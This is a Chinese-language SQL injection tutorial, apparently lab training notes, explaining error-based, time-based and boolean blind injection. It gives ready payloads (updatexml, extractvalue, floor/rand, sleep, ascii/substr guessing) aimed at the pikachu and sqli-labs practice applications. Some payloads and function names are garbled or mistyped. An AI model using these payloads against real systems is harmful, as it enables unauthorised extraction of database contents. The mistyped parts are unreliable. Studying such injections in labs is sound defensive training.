涉及知识点SQL语句
select 查询数据
在网站运用中进行数据显示查询效果
例: select from news wher id=$id

insert 插入数据
在网站运用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,'x','$t')
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update 更新数据
会员或后台中央数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
order by 排列数据
一样平常结合表名或列名进行数据排序操作
例:select from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询办法与网站运用的关系
注入点产生地方或运用预测到对方的SQL查询办法
例如:
注册对应插入语句
SQL注入—报错盲注
盲注便是在注入过程中,获取的数据不能回显至前端页面。此时,我们须要利用一些方法进行半段或者考试测验,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(优先级:2)
regexp,like,ascii,left,ord,mid
基于韶光的SQL盲注-延时判断(优先级:3)
if,sleep
基于报错的SQL盲注-报错回显(优先级:1)
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
1. 基于报错的SQL盲注-报错回显floor
payload:
pikachu insert
username=x' or(select 1 from(select count(),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei &submit=submit
updatexml (个人以为是最方便的)
username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' & password=xiaodi & sex=%E7%94%B7 & honenum=13878787788 & email=wuhan & add=hubei & submit=submit
extractvalue
username=x ' or extractvalue(1,concat(0x7e,database())),0) or ' & password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&
email=wuhan&add=hubei&submit=submit
pikachu updata
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1
from(select count(),concat(floor(rand(0)2),0x7e, (database()),0x7e)x from
information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or extractbalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56
+or+(select+1+from(select+count(),concat(floor(rand(0)2),0x7e, (database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))
2. 基于韶光的SQL盲注-延时判断
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
3. 基于布尔的SQL盲注-逻辑判断页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
当前数据库database()的长度大于10,返回true页面,否则FALSE页面:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
count()计数 concat()连接字符 floor()重复数据,返回0,1两个值 group by 进行分组 rand(0)避免数据重复造成的缺点
猜当前数据库第一个字符
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#
利用二分法,115为fal,114TRUE,数据库第一个字符ASCII为115,即s
同理修正substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:length(database())
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 这条语句在后台为:
SELECT FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(后面单引号被#注释掉)
参考:
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[1-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立,返回5,反之,返回0
sleep(5) #SQL语句延时实行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从B位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否即是97
涉及资源https://www.jianshu.com/p/bc35f8dd4f7chttps://www.jianshu.com/p/fcae21926e5chttps://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g提取码:l9f6